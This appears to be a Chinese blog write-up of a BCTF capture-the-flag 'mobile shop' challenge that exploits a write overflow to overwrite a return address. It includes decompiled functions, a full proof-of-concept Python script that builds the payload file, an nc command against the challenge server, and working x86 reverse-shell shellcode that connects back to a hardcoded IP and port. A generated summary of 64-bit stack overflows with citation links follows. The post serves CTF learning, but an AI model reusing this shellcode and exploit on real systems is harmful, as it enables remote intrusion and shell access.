linux-写入溢出

身无分文: 200

描述

米特尼克在BAT上班时,发现很多同事都在用新款Android手机,很是羡慕,他也想搞一部,来替换他那部用了“二十多年”的摩托罗拉手机。但是他在BAT公司还没拿到第一笔工资,用假身份申请的信用卡在租房与日常饮食上也快刷爆了,可以说是身无分文了。这却难不倒米特尼克,他发现了这个销售手机的在线商店。商店地址:218.2.197.251:1234 http://bctf.cn/files/downloads/mobile_shop_4d904f700ef95bae39936cd9c0829d31


程序界面:


做这种题可以先将 函数流程理出来就好做了

int __cdecl sub_8048C00()  主功能函数{

sub_8048840((int)&v4); 漏洞函数  -》

signed int __cdecl sub_8048A30(int a1)(

函数中明显有一个 sub_80486F0((int)&unk_804B1E0, 200, 10 明显200字节是装载shellcode的)


}



int __cdecl sub_8048C00()
{
  char *v0; // eax@1
  signed int v1; // eax@4
  int result; // eax@10
  char v3; // [sp+13h] [bp-19h]@2
  char arr; // [sp+14h] [bp-18h]@14
  char v5; // [sp+1Bh] [bp-11h]@1
  int v6; // [sp+1Ch] [bp-10h]@1

可以看到主函数 sub_8048C00   的返回地址肯定比  arr字符串的地址高,所以可以修改返回地址

可以发现漏洞点:



sub_8048C00   主功能函数
返回地址  :0804859e

修改为      0804B1E0
输入 " -17"可以85 ++  (0xb1-0x85)次
输入 " -16"可以9e ++  (0xe0-0x9e)次


EDB看到:



GDB可以看到:




最后

nc 218.2.197.251:1234 1234 < payload.txt 即可获得shell

POC:

shellcode = (  
#define IPADDR '\x0a\x10\x02\x1c'  10.16.2.28
#define PORT '\x7a\x69'
'\x31\xc0\x31\xdb\x31\xc9\x31\xd2'
'\xb0\x66\xb3\x01\x51\x6a\x06\x6a'
'\x01\x6a\x02\x89\xe1\xcd\x80\x89'
'\xc6\xb0\x66\x31\xdb\xb3\x02\x68'
#IPADDR
'\x0a\x10\x02\x1c'
'\x66\x68'
#PORT
'\x7a\x69'
'\x66\x53\xfe'
'\xc3\x89\xe1\x6a\x10\x51\x56\x89'
'\xe1\xcd\x80\x31\xc9\xb1\x03\xfe'
'\xc9\xb0\x3f\xcd\x80\x75\xf8\x31'
'\xc0\x52\x68\x6e\x2f\x73\x68\x68'
'\x2f\x2f\x62\x69\x89\xe3\x52\x53'
'\x89\xe1\x52\x89\xe2\xb0\x0b\xcd'
'\x80\x90'
)

data = ''
data += 'a\n -16\n'*(0xe0-0x9e)
data += 'a\n -17\n'*(0xb1-0x85)
data += 'a\n1\n'
data += 'c\ny\n'
data += 'name\n'
data += shellcode+'\n'
data += 'd\n'
open('payload.txt','w').write(data)

import binascii
print repr(binascii.hexlify(data))






  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux 64位系统中,栈溢出是一种常见的安全漏洞。栈溢出是指当程序写入超过栈分配的缓冲区的数据时,会覆盖到栈上的其他数据,从而导致程序的异常行为。这个漏洞可以被恶意攻击者利用,执行任意的代码或者获取敏感数据。 在64位系统中,栈溢出的原理和32位系统类似,但是由于64位系统的栈和寄存器的大小不同,所以在实际操作上会有所不同。一种常见的攻击方法是通过溢出覆盖返回地址,将程序的控制流引导到恶意代码执行的地址上。为了实现栈溢出攻击,攻击者需要了解目标程序的内存布局和对应的函数调用机制。 引用提到了关于Linux下64位缓冲区溢出的文章,对于想深入了解64位系统下的栈溢出攻击的人来说,这篇文章可能是一个很好的参考。引用提供了一个关于shellcode的示例,可以用来在64位系统中执行系统命令。而引用则指出本文的目的是让读者学习64位缓冲区溢出的基础知识。 总的来说,在Linux 64位系统中,栈溢出是一种常见的安全漏洞,攻击者可以通过溢出覆盖返回地址来执行恶意代码。为了进行栈溢出攻击,攻击者需要了解目标程序的内存布局和函数调用机制。可以参考引用中的文章来深入了解64位系统下的栈溢出攻击的细节。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [linux64 溢出,64位Linux下的栈溢出](https://blog.csdn.net/weixin_36383252/article/details/116872723)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [linux溢出](https://blog.csdn.net/qq_45323960/article/details/122766130)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值